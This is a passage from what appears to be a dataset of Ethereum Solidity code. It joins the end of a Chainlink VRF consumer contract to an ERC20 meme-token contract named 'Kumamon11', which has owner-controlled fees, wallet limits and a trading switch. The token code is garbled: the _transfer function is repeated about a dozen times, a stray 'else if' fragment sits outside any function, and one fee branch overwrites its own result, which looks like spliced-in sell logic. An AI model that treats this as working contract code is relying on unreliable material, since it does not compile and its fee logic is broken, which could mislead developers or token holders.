powerful @dev miner could, in principle, fork the blockchain to evict the block @dev containing the request, forcing the request to be included in a @dev different block with a different hash, and therefore a different input @dev to the VRF. However, such an attack would incur a substantial economic @dev cost. This cost scales with the number of blocks the VRF oracle waits @dev until it calls responds to a request./
|
abstract contract VRFConsumerBase is VRFRequestIDBase {
using SafeMath for uint256;
function fulfillRandomness(bytes32 requestId, uint256 randomness)
internal virtual;
function requestRandomness(bytes32 _keyHash, uint256 _fee, uint256 _seed)
internal returns (bytes32 requestId)
{
LINK.transferAndCall(vrfCoordinator, _fee, abi.encode(_keyHash, _seed));
uint256 vRFSeed = makeVRFInputSeed(_keyHash, _seed, address(this), nonces[_keyHash]);
nonces[_keyHash] = nonces[_keyHash].add(1);
return makeRequestId(_keyHash, vRFSeed);
}
LinkTokenInterface immutable internal LINK;
address immutable private vrfCoordinator;
mapping(bytes32 /* keyHash */ => uint256 /* nonce */) private nonces;
constructor(address _vrfCoordinator, address _link) {
vrfCoordinator = _vrfCoordinator;
LINK = LinkTokenInterface(_link);
}
function rawFulfillRandomness(bytes32 requestId, uint256 randomness) external {
require(msg.sender == vrfCoordinator, "Only VRFCoordinator can fulfill");
fulfillRandomness(requestId, randomness);
}
}
| 9,588,656
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] |
./partial_match/1/0x5BbC4fb9C4b59d63a444A24BE250574D04Ca93a1/sources/Kumamon11.sol
|
addresses limits status flags
|
contract Kumamon11 is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable router;
address public immutable uniswapV2Pair;
address public devWallet;
address private marketingWallet;
uint256 private maxBuyAmount;
uint256 private maxSellAmount;
uint256 private maxWalletAmount;
uint256 private thresholdSwapAmount;
bool private isTrading = false;
bool public swapEnabled = false;
bool public isSwapping;
struct Fees {
uint8 buyTotalFees;
uint8 buyMarketingFee;
uint8 buyDevFee;
uint8 buyLiquidityFee;
uint8 sellTotalFees;
uint8 sellMarketingFee;
uint8 sellDevFee;
uint8 sellLiquidityFee;
}
Fees public _fees = Fees({
buyTotalFees: 0,
buyMarketingFee: 0,
buyDevFee:0,
buyLiquidityFee: 0,
sellTotalFees: 0,
sellMarketingFee: 0,
sellDevFee:0,
sellLiquidityFee: 0
});
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
uint256 private taxTill;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
mapping(address => bool) public _isExcludedMaxWalletAmount;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived
);
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public marketPair;
constructor() ERC20("Kumamon 1.1", unicode"くまモン1.1") {
router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
_isExcludedMaxTransactionAmount[address(router)] = true;
_isExcludedMaxTransactionAmount[address(uniswapV2Pair)] = true;
_isExcludedMaxTransactionAmount[owner()] = true;
_isExcludedMaxTransactionAmount[address(this)] = true;
_isExcludedFromFees[owner()] = true;
_isExcludedFromFees[address(this)] = true;
_isExcludedMaxWalletAmount[owner()] = true;
_isExcludedMaxWalletAmount[address(this)] = true;
_isExcludedMaxWalletAmount[address(uniswapV2Pair)] = true;
marketPair[address(uniswapV2Pair)] = true;
approve(address(router), type(uint256).max);
uint256 totalSupply = 1e9 * 1e18;
_fees.buyMarketingFee = 0;
_fees.buyLiquidityFee = 0;
_fees.buyDevFee = 0;
_fees.buyTotalFees = _fees.buyMarketingFee + _fees.buyLiquidityFee + _fees.buyDevFee;
_fees.sellMarketingFee = 0;
_fees.sellLiquidityFee = 0;
_fees.sellDevFee = 0;
_fees.sellTotalFees = _fees.sellMarketingFee + _fees.sellLiquidityFee + _fees.sellDevFee;
marketingWallet = address(0x774988B9F23b6d73176FB70273a583d24061397F);
devWallet = address(0x774988B9F23b6d73176FB70273a583d24061397F);
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
_mint(msg.sender, totalSupply);
}
receive() external payable {
}
function swapTrading() external onlyOwner {
isTrading = true;
swapEnabled = true;
taxTill = block.number + 0;
}
function updateThresholdSwapAmount(uint256 newAmount) external onlyOwner returns(bool){
thresholdSwapAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newMaxBuy, uint256 newMaxSell) external onlyOwner {
require(((totalSupply() * newMaxBuy) / 1000) >= (totalSupply() / 100), "maxBuyAmount must be higher than 1%");
require(((totalSupply() * newMaxSell) / 1000) >= (totalSupply() / 100), "maxSellAmount must be higher than 1%");
maxBuyAmount = (totalSupply() * newMaxBuy) / 1000;
maxSellAmount = (totalSupply() * newMaxSell) / 1000;
}
function updateMaxWalletAmount(uint256 newPercentage) external onlyOwner {
require(((totalSupply() * newPercentage) / 1000) >= (totalSupply() / 100), "Cannot set maxWallet lower than 1%");
maxWalletAmount = (totalSupply() * newPercentage) / 1000;
}
function toggleSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function updateFees(uint8 _marketingFeeBuy, uint8 _liquidityFeeBuy,uint8 _devFeeBuy,uint8 _marketingFeeSell, uint8 _liquidityFeeSell,uint8 _devFeeSell) external onlyOwner{
_fees.buyMarketingFee = _marketingFeeBuy;
_fees.buyLiquidityFee = _liquidityFeeBuy;
_fees.buyDevFee = _devFeeBuy;
_fees.buyTotalFees = _fees.buyMarketingFee + _fees.buyLiquidityFee + _fees.buyDevFee;
_fees.sellMarketingFee = _marketingFeeSell;
_fees.sellLiquidityFee = _liquidityFeeSell;
_fees.sellDevFee = _devFeeSell;
_fees.sellTotalFees = _fees.sellMarketingFee + _fees.sellLiquidityFee + _fees.sellDevFee;
require(_fees.buyTotalFees <= 30, "Must keep fees at 30% or less");
require(_fees.sellTotalFees <= 30, "Must keep fees at 30% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
}
function excludeFromWalletLimit(address account, bool excluded) public onlyOwner {
_isExcludedMaxWalletAmount[account] = excluded;
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function setMarketPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "Must keep uniswapV2Pair");
marketPair[pair] = value;
}
function setWallets(address _marketingWallet,address _devWallet) external onlyOwner{
marketingWallet = _marketingWallet;
devWallet = _devWallet;
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
if (amount == 0) {
super._transfer(sender, recipient, 0);
return;
}
if (
sender != owner() &&
recipient != owner() &&
!isSwapping
) {
if (!isTrading) {
require(_isExcludedFromFees[sender] || _isExcludedFromFees[recipient], "Trading is not active.");
}
if (marketPair[sender] && !_isExcludedMaxTransactionAmount[recipient]) {
require(amount <= maxBuyAmount, "buy transfer over max amount");
}
else if (marketPair[recipient] && !_isExcludedMaxTransactionAmount[sender]) {
require(amount <= maxSellAmount, "Sell transfer over max amount");
}
if (!_isExcludedMaxWalletAmount[recipient]) {
require(amount + balanceOf(recipient) <= maxWalletAmount, "Max wallet exceeded");
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= thresholdSwapAmount;
if (
canSwap &&
swapEnabled &&
!isSwapping &&
marketPair[recipient] &&
!_isExcludedFromFees[sender] &&
!_isExcludedFromFees[recipient]
) {
isSwapping = true;
swapBack();
isSwapping = false;
}
bool takeFee = !isSwapping;
if (_isExcludedFromFees[sender] || _isExcludedFromFees[recipient]) {
takeFee = false;
}
if (takeFee) {
uint256 fees = 0;
if(block.number < taxTill) {
fees = amount.mul(99).div(100);
tokensForMarketing += (fees * 5) / 99;
tokensForDev += (fees * 5) / 99;
fees = amount.mul(_fees.sellTotalFees).div(100);
tokensForLiquidity += fees * _fees.sellLiquidityFee / _fees.sellTotalFees;
tokensForMarketing += fees * _fees.sellMarketingFee / _fees.sellTotalFees;
tokensForDev += fees * _fees.sellDevFee / _fees.sellTotalFees;
}
else if (marketPair[sender] && _fees.buyTotalFees > 0) {
fees = amount.mul(_fees.buyTotalFees).div(100);
tokensForLiquidity += fees * _fees.buyLiquidityFee / _fees.buyTotalFees;
tokensForMarketing += fees * _fees.buyMarketingFee / _fees.buyTotalFees;
tokensForDev += fees * _fees.buyDevFee / _fees.buyTotalFees;
}
if (fees > 0) {
super._transfer(sender, address(this), fees);
}
amount -= fees;
}
super._transfer(sender, recipient, amount);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
if (amount == 0) {
super._transfer(sender, recipient, 0);
return;
}
if (
sender != owner() &&
recipient != owner() &&
!isSwapping
) {
if (!isTrading) {
require(_isExcludedFromFees[sender] || _isExcludedFromFees[recipient], "Trading is not active.");
}
if (marketPair[sender] && !_isExcludedMaxTransactionAmount[recipient]) {
require(amount <= maxBuyAmount, "buy transfer over max amount");
}
else if (marketPair[recipient] && !_isExcludedMaxTransactionAmount[sender]) {
require(amount <= maxSellAmount, "Sell transfer over max amount");
}
if (!_isExcludedMaxWalletAmount[recipient]) {
require(amount + balanceOf(recipient) <= maxWalletAmount, "Max wallet exceeded");
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= thresholdSwapAmount;
if (
canSwap &&
swapEnabled &&
!isSwapping &&
marketPair[recipient] &&
!_isExcludedFromFees[sender] &&
!_isExcludedFromFees[recipient]
) {
isSwapping = true;
swapBack();
isSwapping = false;
}
bool takeFee = !isSwapping;
if (_isExcludedFromFees[sender] || _isExcludedFromFees[recipient]) {
takeFee = false;
}
if (takeFee) {
uint256 fees = 0;
if(block.number < taxTill) {
fees = amount.mul(99).div(100);
tokensForMarketing += (fees * 5) / 99;
tokensForDev += (fees * 5) / 99;
fees = amount.mul(_fees.sellTotalFees).div(100);
tokensForLiquidity += fees * _fees.sellLiquidityFee / _fees.sellTotalFees;
tokensForMarketing += fees * _fees.sellMarketingFee / _fees.sellTotalFees;
tokensForDev += fees * _fees.sellDevFee / _fees.sellTotalFees;
}
else if (marketPair[sender] && _fees.buyTotalFees > 0) {
fees = amount.mul(_fees.buyTotalFees).div(100);
tokensForLiquidity += fees * _fees.buyLiquidityFee / _fees.buyTotalFees;
tokensForMarketing += fees * _fees.buyMarketingFee / _fees.buyTotalFees;
tokensForDev += fees * _fees.buyDevFee / _fees.buyTotalFees;
}
if (fees > 0) {
super._transfer(sender, address(this), fees);
}
amount -= fees;
}
super._transfer(sender, recipient, amount);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
if (amount == 0) {
super._transfer(sender, recipient, 0);
return;
}
if (
sender != owner() &&
recipient != owner() &&
!isSwapping
) {
if (!isTrading) {
require(_isExcludedFromFees[sender] || _isExcludedFromFees[recipient], "Trading is not active.");
}
if (marketPair[sender] && !_isExcludedMaxTransactionAmount[recipient]) {
require(amount <= maxBuyAmount, "buy transfer over max amount");
}
else if (marketPair[recipient] && !_isExcludedMaxTransactionAmount[sender]) {
require(amount <= maxSellAmount, "Sell transfer over max amount");
}
if (!_isExcludedMaxWalletAmount[recipient]) {
require(amount + balanceOf(recipient) <= maxWalletAmount, "Max wallet exceeded");
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= thresholdSwapAmount;
if (
canSwap &&
swapEnabled &&
!isSwapping &&
marketPair[recipient] &&
!_isExcludedFromFees[sender] &&
!_isExcludedFromFees[recipient]
) {
isSwapping = true;
swapBack();
isSwapping = false;
}
bool takeFee = !isSwapping;
if (_isExcludedFromFees[sender] || _isExcludedFromFees[recipient]) {
takeFee = false;
}
if (takeFee) {
uint256 fees = 0;
if(block.number < taxTill) {
fees = amount.mul(99).div(100);
tokensForMarketing += (fees * 5) / 99;
tokensForDev += (fees * 5) / 99;
fees = amount.mul(_fees.sellTotalFees).div(100);
tokensForLiquidity += fees * _fees.sellLiquidityFee / _fees.sellTotalFees;
tokensForMarketing += fees * _fees.sellMarketingFee / _fees.sellTotalFees;
tokensForDev += fees * _fees.sellDevFee / _fees.sellTotalFees;
}
else if (marketPair[sender] && _fees.buyTotalFees > 0) {
fees = amount.mul(_fees.buyTotalFees).div(100);
tokensForLiquidity += fees * _fees.buyLiquidityFee / _fees.buyTotalFees;
tokensForMarketing += fees * _fees.buyMarketingFee / _fees.buyTotalFees;
tokensForDev += fees * _fees.buyDevFee / _fees.buyTotalFees;
}
if (fees > 0) {
super._transfer(sender, address(this), fees);
}
amount -= fees;
}
super._transfer(sender, recipient, amount);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
if (amount == 0) {
super._transfer(sender, recipient, 0);
return;
}
if (
sender != owner() &&
recipient != owner() &&
!isSwapping
) {
if (!isTrading) {
require(_isExcludedFromFees[sender] || _isExcludedFromFees[recipient], "Trading is not active.");
}
if (marketPair[sender] && !_isExcludedMaxTransactionAmount[recipient]) {
require(amount <= maxBuyAmount, "buy transfer over max amount");
}
else if (marketPair[recipient] && !_isExcludedMaxTransactionAmount[sender]) {
require(amount <= maxSellAmount, "Sell transfer over max amount");
}
if (!_isExcludedMaxWalletAmount[recipient]) {
require(amount + balanceOf(recipient) <= maxWalletAmount, "Max wallet exceeded");
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= thresholdSwapAmount;
if (
canSwap &&
swapEnabled &&
!isSwapping &&
marketPair[recipient] &&
!_isExcludedFromFees[sender] &&
!_isExcludedFromFees[recipient]
) {
isSwapping = true;
swapBack();
isSwapping = false;
}
bool takeFee = !isSwapping;
if (_isExcludedFromFees[sender] || _isExcludedFromFees[recipient]) {
takeFee = false;
}
if (takeFee) {
uint256 fees = 0;
if(block.number < taxTill) {
fees = amount.mul(99).div(100);
tokensForMarketing += (fees * 5) / 99;
tokensForDev += (fees * 5) / 99;
fees = amount.mul(_fees.sellTotalFees).div(100);
tokensForLiquidity += fees * _fees.sellLiquidityFee / _fees.sellTotalFees;
tokensForMarketing += fees * _fees.sellMarketingFee / _fees.sellTotalFees;
tokensForDev += fees * _fees.sellDevFee / _fees.sellTotalFees;
}
else if (marketPair[sender] && _fees.buyTotalFees > 0) {
fees = amount.mul(_fees.buyTotalFees).div(100);
tokensForLiquidity += fees * _fees.buyLiquidityFee / _fees.buyTotalFees;
tokensForMarketing += fees * _fees.buyMarketingFee / _fees.buyTotalFees;
tokensForDev += fees * _fees.buyDevFee / _fees.buyTotalFees;
}
if (fees > 0) {
super._transfer(sender, address(this), fees);
}
amount -= fees;
}
super._transfer(sender, recipient, amount);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
if (amount == 0) {
super._transfer(sender, recipient, 0);
return;
}
if (
sender != owner() &&
recipient != owner() &&
!isSwapping
) {
if (!isTrading) {
require(_isExcludedFromFees[sender] || _isExcludedFromFees[recipient], "Trading is not active.");
}
if (marketPair[sender] && !_isExcludedMaxTransactionAmount[recipient]) {
require(amount <= maxBuyAmount, "buy transfer over max amount");
}
else if (marketPair[recipient] && !_isExcludedMaxTransactionAmount[sender]) {
require(amount <= maxSellAmount, "Sell transfer over max amount");
}
if (!_isExcludedMaxWalletAmount[recipient]) {
require(amount + balanceOf(recipient) <= maxWalletAmount, "Max wallet exceeded");
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= thresholdSwapAmount;
if (
canSwap &&
swapEnabled &&
!isSwapping &&
marketPair[recipient] &&
!_isExcludedFromFees[sender] &&
!_isExcludedFromFees[recipient]
) {
isSwapping = true;
swapBack();
isSwapping = false;
}
bool takeFee = !isSwapping;
if (_isExcludedFromFees[sender] || _isExcludedFromFees[recipient]) {
takeFee = false;
}
if (takeFee) {
uint256 fees = 0;
if(block.number < taxTill) {
fees = amount.mul(99).div(100);
tokensForMarketing += (fees * 5) / 99;
tokensForDev += (fees * 5) / 99;
fees = amount.mul(_fees.sellTotalFees).div(100);
tokensForLiquidity += fees * _fees.sellLiquidityFee / _fees.sellTotalFees;
tokensForMarketing += fees * _fees.sellMarketingFee / _fees.sellTotalFees;
tokensForDev += fees * _fees.sellDevFee / _fees.sellTotalFees;
}
else if (marketPair[sender] && _fees.buyTotalFees > 0) {
fees = amount.mul(_fees.buyTotalFees).div(100);
tokensForLiquidity += fees * _fees.buyLiquidityFee / _fees.buyTotalFees;
tokensForMarketing += fees * _fees.buyMarketingFee / _fees.buyTotalFees;
tokensForDev += fees * _fees.buyDevFee / _fees.buyTotalFees;
}
if (fees > 0) {
super._transfer(sender, address(this), fees);
}
amount -= fees;
}
super._transfer(sender, recipient, amount);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
if (amount == 0) {
super._transfer(sender, recipient, 0);
return;
}
if (
sender != owner() &&
recipient != owner() &&
!isSwapping
) {
if (!isTrading) {
require(_isExcludedFromFees[sender] || _isExcludedFromFees[recipient], "Trading is not active.");
}
if (marketPair[sender] && !_isExcludedMaxTransactionAmount[recipient]) {
require(amount <= maxBuyAmount, "buy transfer over max amount");
}
else if (marketPair[recipient] && !_isExcludedMaxTransactionAmount[sender]) {
require(amount <= maxSellAmount, "Sell transfer over max amount");
}
if (!_isExcludedMaxWalletAmount[recipient]) {
require(amount + balanceOf(recipient) <= maxWalletAmount, "Max wallet exceeded");
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= thresholdSwapAmount;
if (
canSwap &&
swapEnabled &&
!isSwapping &&
marketPair[recipient] &&
!_isExcludedFromFees[sender] &&
!_isExcludedFromFees[recipient]
) {
isSwapping = true;
swapBack();
isSwapping = false;
}
bool takeFee = !isSwapping;
if (_isExcludedFromFees[sender] || _isExcludedFromFees[recipient]) {
takeFee = false;
}
if (takeFee) {
uint256 fees = 0;
if(block.number < taxTill) {
fees = amount.mul(99).div(100);
tokensForMarketing += (fees * 5) / 99;
tokensForDev += (fees * 5) / 99;
fees = amount.mul(_fees.sellTotalFees).div(100);
tokensForLiquidity += fees * _fees.sellLiquidityFee / _fees.sellTotalFees;
tokensForMarketing += fees * _fees.sellMarketingFee / _fees.sellTotalFees;
tokensForDev += fees * _fees.sellDevFee / _fees.sellTotalFees;
}
else if (marketPair[sender] && _fees.buyTotalFees > 0) {
fees = amount.mul(_fees.buyTotalFees).div(100);
tokensForLiquidity += fees * _fees.buyLiquidityFee / _fees.buyTotalFees;
tokensForMarketing += fees * _fees.buyMarketingFee / _fees.buyTotalFees;
tokensForDev += fees * _fees.buyDevFee / _fees.buyTotalFees;
}
if (fees > 0) {
super._transfer(sender, address(this), fees);
}
amount -= fees;
}
super._transfer(sender, recipient, amount);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
if (amount == 0) {
super._transfer(sender, recipient, 0);
return;
}
if (
sender != owner() &&
recipient != owner() &&
!isSwapping
) {
if (!isTrading) {
require(_isExcludedFromFees[sender] || _isExcludedFromFees[recipient], "Trading is not active.");
}
if (marketPair[sender] && !_isExcludedMaxTransactionAmount[recipient]) {
require(amount <= maxBuyAmount, "buy transfer over max amount");
}
else if (marketPair[recipient] && !_isExcludedMaxTransactionAmount[sender]) {
require(amount <= maxSellAmount, "Sell transfer over max amount");
}
if (!_isExcludedMaxWalletAmount[recipient]) {
require(amount + balanceOf(recipient) <= maxWalletAmount, "Max wallet exceeded");
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= thresholdSwapAmount;
if (
canSwap &&
swapEnabled &&
!isSwapping &&
marketPair[recipient] &&
!_isExcludedFromFees[sender] &&
!_isExcludedFromFees[recipient]
) {
isSwapping = true;
swapBack();
isSwapping = false;
}
bool takeFee = !isSwapping;
if (_isExcludedFromFees[sender] || _isExcludedFromFees[recipient]) {
takeFee = false;
}
if (takeFee) {
uint256 fees = 0;
if(block.number < taxTill) {
fees = amount.mul(99).div(100);
tokensForMarketing += (fees * 5) / 99;
tokensForDev += (fees * 5) / 99;
fees = amount.mul(_fees.sellTotalFees).div(100);
tokensForLiquidity += fees * _fees.sellLiquidityFee / _fees.sellTotalFees;
tokensForMarketing += fees * _fees.sellMarketingFee / _fees.sellTotalFees;
tokensForDev += fees * _fees.sellDevFee / _fees.sellTotalFees;
}
else if (marketPair[sender] && _fees.buyTotalFees > 0) {
fees = amount.mul(_fees.buyTotalFees).div(100);
tokensForLiquidity += fees * _fees.buyLiquidityFee / _fees.buyTotalFees;
tokensForMarketing += fees * _fees.buyMarketingFee / _fees.buyTotalFees;
tokensForDev += fees * _fees.buyDevFee / _fees.buyTotalFees;
}
if (fees > 0) {
super._transfer(sender, address(this), fees);
}
amount -= fees;
}
super._transfer(sender, recipient, amount);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
if (amount == 0) {
super._transfer(sender, recipient, 0);
return;
}
if (
sender != owner() &&
recipient != owner() &&
!isSwapping
) {
if (!isTrading) {
require(_isExcludedFromFees[sender] || _isExcludedFromFees[recipient], "Trading is not active.");
}
if (marketPair[sender] && !_isExcludedMaxTransactionAmount[recipient]) {
require(amount <= maxBuyAmount, "buy transfer over max amount");
}
else if (marketPair[recipient] && !_isExcludedMaxTransactionAmount[sender]) {
require(amount <= maxSellAmount, "Sell transfer over max amount");
}
if (!_isExcludedMaxWalletAmount[recipient]) {
require(amount + balanceOf(recipient) <= maxWalletAmount, "Max wallet exceeded");
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= thresholdSwapAmount;
if (
canSwap &&
swapEnabled &&
!isSwapping &&
marketPair[recipient] &&
!_isExcludedFromFees[sender] &&
!_isExcludedFromFees[recipient]
) {
isSwapping = true;
swapBack();
isSwapping = false;
}
bool takeFee = !isSwapping;
if (_isExcludedFromFees[sender] || _isExcludedFromFees[recipient]) {
takeFee = false;
}
if (takeFee) {
uint256 fees = 0;
if(block.number < taxTill) {
fees = amount.mul(99).div(100);
tokensForMarketing += (fees * 5) / 99;
tokensForDev += (fees * 5) / 99;
fees = amount.mul(_fees.sellTotalFees).div(100);
tokensForLiquidity += fees * _fees.sellLiquidityFee / _fees.sellTotalFees;
tokensForMarketing += fees * _fees.sellMarketingFee / _fees.sellTotalFees;
tokensForDev += fees * _fees.sellDevFee / _fees.sellTotalFees;
}
else if (marketPair[sender] && _fees.buyTotalFees > 0) {
fees = amount.mul(_fees.buyTotalFees).div(100);
tokensForLiquidity += fees * _fees.buyLiquidityFee / _fees.buyTotalFees;
tokensForMarketing += fees * _fees.buyMarketingFee / _fees.buyTotalFees;
tokensForDev += fees * _fees.buyDevFee / _fees.buyTotalFees;
}
if (fees > 0) {
super._transfer(sender, address(this), fees);
}
amount -= fees;
}
super._transfer(sender, recipient, amount);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
if (amount == 0) {
super._transfer(sender, recipient, 0);
return;
}
if (
sender != owner() &&
recipient != owner() &&
!isSwapping
) {
if (!isTrading) {
require(_isExcludedFromFees[sender] || _isExcludedFromFees[recipient], "Trading is not active.");
}
if (marketPair[sender] && !_isExcludedMaxTransactionAmount[recipient]) {
require(amount <= maxBuyAmount, "buy transfer over max amount");
}
else if (marketPair[recipient] && !_isExcludedMaxTransactionAmount[sender]) {
require(amount <= maxSellAmount, "Sell transfer over max amount");
}
if (!_isExcludedMaxWalletAmount[recipient]) {
require(amount + balanceOf(recipient) <= maxWalletAmount, "Max wallet exceeded");
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= thresholdSwapAmount;
if (
canSwap &&
swapEnabled &&
!isSwapping &&
marketPair[recipient] &&
!_isExcludedFromFees[sender] &&
!_isExcludedFromFees[recipient]
) {
isSwapping = true;
swapBack();
isSwapping = false;
}
bool takeFee = !isSwapping;
if (_isExcludedFromFees[sender] || _isExcludedFromFees[recipient]) {
takeFee = false;
}
if (takeFee) {
uint256 fees = 0;
if(block.number < taxTill) {
fees = amount.mul(99).div(100);
tokensForMarketing += (fees * 5) / 99;
tokensForDev += (fees * 5) / 99;
fees = amount.mul(_fees.sellTotalFees).div(100);
tokensForLiquidity += fees * _fees.sellLiquidityFee / _fees.sellTotalFees;
tokensForMarketing += fees * _fees.sellMarketingFee / _fees.sellTotalFees;
tokensForDev += fees * _fees.sellDevFee / _fees.sellTotalFees;
}
else if (marketPair[sender] && _fees.buyTotalFees > 0) {
fees = amount.mul(_fees.buyTotalFees).div(100);
tokensForLiquidity += fees * _fees.buyLiquidityFee / _fees.buyTotalFees;
tokensForMarketing += fees * _fees.buyMarketingFee / _fees.buyTotalFees;
tokensForDev += fees * _fees.buyDevFee / _fees.buyTotalFees;
}
if (fees > 0) {
super._transfer(sender, address(this), fees);
}
amount -= fees;
}
super._transfer(sender, recipient, amount);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
if (amount == 0) {
super._transfer(sender, recipient, 0);
return;
}
if (
sender != owner() &&
recipient != owner() &&
!isSwapping
) {
if (!isTrading) {
require(_isExcludedFromFees[sender] || _isExcludedFromFees[recipient], "Trading is not active.");
}
if (marketPair[sender] && !_isExcludedMaxTransactionAmount[recipient]) {
require(amount <= maxBuyAmount, "buy transfer over max amount");
}
else if (marketPair[recipient] && !_isExcludedMaxTransactionAmount[sender]) {
require(amount <= maxSellAmount, "Sell transfer over max amount");
}
if (!_isExcludedMaxWalletAmount[recipient]) {
require(amount + balanceOf(recipient) <= maxWalletAmount, "Max wallet exceeded");
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= thresholdSwapAmount;
if (
canSwap &&
swapEnabled &&
!isSwapping &&
marketPair[recipient] &&
!_isExcludedFromFees[sender] &&
!_isExcludedFromFees[recipient]
) {
isSwapping = true;
swapBack();
isSwapping = false;
}
bool takeFee = !isSwapping;
if (_isExcludedFromFees[sender] || _isExcludedFromFees[recipient]) {
takeFee = false;
}
if (takeFee) {
uint256 fees = 0;
if(block.number < taxTill) {
fees = amount.mul(99).div(100);
tokensForMarketing += (fees * 5) / 99;
tokensForDev += (fees * 5) / 99;
fees = amount.mul(_fees.sellTotalFees).div(100);
tokensForLiquidity += fees * _fees.sellLiquidityFee / _fees.sellTotalFees;
tokensForMarketing += fees * _fees.sellMarketingFee / _fees.sellTotalFees;
tokensForDev += fees * _fees.sellDevFee / _fees.sellTotalFees;
}
else if (marketPair[sender] && _fees.buyTotalFees > 0) {
fees = amount.mul(_fees.buyTotalFees).div(100);
tokensForLiquidity += fees * _fees.buyLiquidityFee / _fees.buyTotalFees;
tokensForMarketing += fees * _fees.buyMarketingFee / _fees.buyTotalFees;
tokensForDev += fees * _fees.buyDevFee / _fees.buyTotalFees;
}
if (fees > 0) {
super._transfer(sender, address(this), fees);
}
amount -= fees;
}
super._transfer(sender, recipient, amount);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
if (amount == 0) {
super._transfer(sender, recipient, 0);
return;
}
if (
sender != owner() &&
recipient != owner() &&
!isSwapping
) {
if (!isTrading) {
require(_isExcludedFromFees[sender] || _isExcludedFromFees[recipient], "Trading is not active.");
}
if (marketPair[sender] && !_isExcludedMaxTransactionAmount[recipient]) {
require(amount <= maxBuyAmount, "buy transfer over max amount");
}
else if (marketPair[recipient] && !_isExcludedMaxTransactionAmount[sender]) {
require(amount <= maxSellAmount, "Sell transfer over max amount");
}
if (!_isExcludedMaxWalletAmount[recipient]) {
require(amount + balanceOf(recipient) <= maxWalletAmount, "Max wallet exceeded");
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= thresholdSwapAmount;
if (
canSwap &&
swapEnabled &&
!isSwapping &&
marketPair[recipient] &&
!_isExcludedFromFees[sender] &&
!_isExcludedFromFees[recipient]
) {
isSwapping = true;
swapBack();
isSwapping = false;
}
bool takeFee = !isSwapping;
if (_isExcludedFromFees[sender] || _isExcludedFromFees[recipient]) {
takeFee = false;
}
if (takeFee) {
uint256 fees = 0;
if(block.number < taxTill) {
fees = amount.mul(99).div(100);
tokensForMarketing += (fees * 5) / 99;
tokensForDev += (fees * 5) / 99;
fees = amount.mul(_fees.sellTotalFees).div(100);
tokensForLiquidity += fees * _fees.sellLiquidityFee / _fees.sellTotalFees;
tokensForMarketing += fees * _fees.sellMarketingFee / _fees.sellTotalFees;
tokensForDev += fees * _fees.sellDevFee / _fees.sellTotalFees;
}
else if (marketPair[sender] && _fees.buyTotalFees > 0) {
fees = amount.mul(_fees.buyTotalFees).div(100);
tokensForLiquidity += fees * _fees.buyLiquidityFee / _fees.buyTotalFees;
tokensForMarketing += fees * _fees.buyMarketingFee / _fees.buyTotalFees;
tokensForDev += fees * _fees.buyDevFee / _fees.buyTotalFees;
}
if (fees > 0) {
super._transfer(sender, address(this), fees);
}
amount -= fees;
}
super._transfer(sender, recipient, amount);
}
} else if (marketPair[recipient] && _fees.sellTotalFees > 0) {
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
if (amount == 0) {
super._transfer(sender, recipient, 0);
return;
}
if (
sender != owner() &&
recipient != owner() &&
!isSwapping
) {
if (!isTrading) {
require(_isExcludedFromFees[sender] || _isExcludedFromFees[recipient], "Trading is not active.");
}
if (marketPair[sender] && !_isExcludedMaxTransactionAmount[recipient]) {
require(amount <= maxBuyAmount, "buy transfer over max amount");
}
else if (marketPair[recipient] && !_isExcludedMaxTransactionAmount[sender]) {
require(amount <= maxSellAmount, "Sell transfer over max amount");
}
if (!_isExcludedMaxWalletAmount[recipient]) {
require(amount + balanceOf(recipient) <= maxWalletAmount, "Max wallet exceeded");
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= thresholdSwapAmount;
if (
canSwap &&
swapEnabled &&
!isSwapping &&
marketPair[recipient] &&
!_isExcludedFromFees[sender] &&
